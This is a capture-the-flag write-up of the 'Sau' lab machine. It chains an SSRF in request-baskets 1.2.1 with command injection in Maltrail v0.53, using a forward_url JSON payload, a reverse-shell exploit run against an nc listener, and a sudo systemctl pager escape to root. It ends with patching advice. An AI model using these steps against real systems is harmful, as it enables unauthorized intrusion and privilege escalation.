Writeups

Sau w/o Metasploit

Executive Summary

Sau is an easy-level Linux machine exploiting web vulnerabilities like command injection and SSRF. Leveraging CVE-2023-27163 in the public-facing web server enables an SSRF attack, manipulating an HTTP parameter for unauthorized access to an internal server. The internal server, running Maltrail v0.53, is vulnerable to unauthenticated command injection through the user parameter. Exploiting this vulnerability grants shell access, allowing privilege escalation by abusing a low-privileged user’s ability to run a binary as root.

Reconnaissance

The first step is to enumerate for open ports and running services on the target by utilizing nmap. I’ll first perform a full port scan as it could be very possible for the target to be running services that may be of interest to us on non-standard ports so I’ll use the -p- flag which will scan all 65535 ports.

nmap -T4 -p- 10.10.11.224 -oA nmap/initial

Next, I’ll probe deeper into the open ports that were detected into the initial scan to gather more information.

nmap -T4 -sC -sV -p22,80,8338,55555

We’ll first try to enumerate the web servers hosted on port 80 and 55555. When we navigate to http://10.10.11.224 on the default HTTP port, we are able to determine it is not publicly available. So on to the next interesting port, 55555.

We are greeted with a web page that indicates the server is powered by request-baskets | Version: 1.2.1. We’ll save this service version enumeration to use when we perform vulnerability research. Request Baskets is an open-source tool for collecting and inspecting HTTP requests via a RESTful API or web UI. A thing I like to do is turn on Burp Suite proxy so it can quietly sit and intercept HTTP requests as I navigate them. It’ll help to understand what API calls are made and how the requests are formulated when it comes to any target we are attacking.

When we search for potential vulnerabilities that may impact this version of request-baskets, we stumble upon this post that details a proof of concept to exploit an SSRF vulnerability. With SSRF, we are able to abuse the trust an application has with other servers and perform malicious requests on our behalf as attackers. For instance we can redirect an API call to communicate with an internal server. This allows us to make requests as a trusted user.

The /api/baskets/{name} API endpoint is vulnerable to SSRF and in this case allows unauthenticated, remote attackers to hit internal servers by modifying the forward_url parameter. We can craft a POST request to the API endpoint and set the necessary values.

Let’s explain some of the JSON properties we’ll be modifying first before we continue onto the exploitation phase:

  • insecure_tls – When set to true, it will bypass certificate validation
  • proxy_response – When set to true, it will send the response of the forwarded server (in our case, our victim’s localhost hosted on port 80) back to the client
{
  "forward_url": "http://127.0.0.1:80/test",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

Initial Foothold

Let’s start by utilizing Burp Suite’s Repeater tool to craft a POST request to /api/baskets/{name} API endpoint. This API endpoint is used to create a basket so set {name} to whatever name you prefer, in my case I’m using maliciousbasket. In the body of the request paste a JSON object containing the headers you want to set. The most important one is forward_url which is what we will manipulate to forward the API call to the web app’s internal server so we can enumerate what is on port 80. Now fire that baby off.

The HTTP response returns 201 indicating that our request was not only successful, but that we created a new resource on the server. We are issued an authorization token that we can then use to access that new basket.

When we navigate to http://10.10.11.224:55555/web/maliciousbasket, we are met with a prompt requesting the authorization token we are granted.

Now we can access our basket endpoint and see that we can actually view the internal server that was just not long go not available to us. By performing further enumeration on the target we can gather than the server is running maltrail v0.53. While researching to find any vulnerabilities for this specific version of software, we come across this vulnerability disclosure.

Our server is impacted by a command injection vulnerability that enables unauthenticated, remote attacker to exploit the login endpoint for a maltrail instance and run arbitrary system commands via the user parameter. The underlying code for the software processes input by using subprocess.check_output(), a Python function that is used to execute shell commands. This type of vulnerability occurs due to lack of input sanitization.

We can use this exploit to obtain a shell on the server. Let’s take a look at the code for the exploit to see how it works, nerds.

The script accepts three arguments – our attacker IP address, our port to receive the reverse shell connection as well as the target URL. The Python script utilizes a Base64 payload consisting of a curl request to the target host, appends the /login endpoint and creates a reverse shell connection to our listening host and port via the vulnerable username parameter. Now that we understand how the exploit works, let’s get it started.

First let’s create a netcat listener to catch our reverse shell connection. I’ll use port 1337.

nc -nvlp 1337

We’re creating a reverse shell connection to be received at our attacker IP address on port 1337 (or whatever port is available to use to use) and specifying the API endpoint of the basket we created earlier that we redirected to the maltrail server.

python3 exploit.py 10.10.14.10 1337 http://10.10.11.224:55555/maliciousbasket

When we look at our netcat listener, we see that we’ve successfully obtained a shell on the target.

We can upgrade our shell to make it a bit more usable.

python3 -c 'import pty; pty.spawn("/bin/bash")' 

Privilege Escalation

First, let’s use sudo -l to enumerate and see what binaries our current user can run as root.

We can run systemctl status trail.service as root.

sudo systemctl status trail.service

From here, we can simply type !sh to retrieve a root shell! The flag can be retrieved by navigating to the root directory 🙂

Remediation

Upgrade impacted systems to Request Baskets >1.2.1 and Maltrail >v.0.53 to prevent command injection and SSRF vulnerabilities. A secure coding practice to implement in your application is to ensure every input parameter is thoroughly tested and implemented with input validation!

Fin

I hope you enjoyed this writeup! Feel free to share and comment as well as follow me on Twitter, LinkedIn, and Twitch so you’ll stay up to date on when I release more content.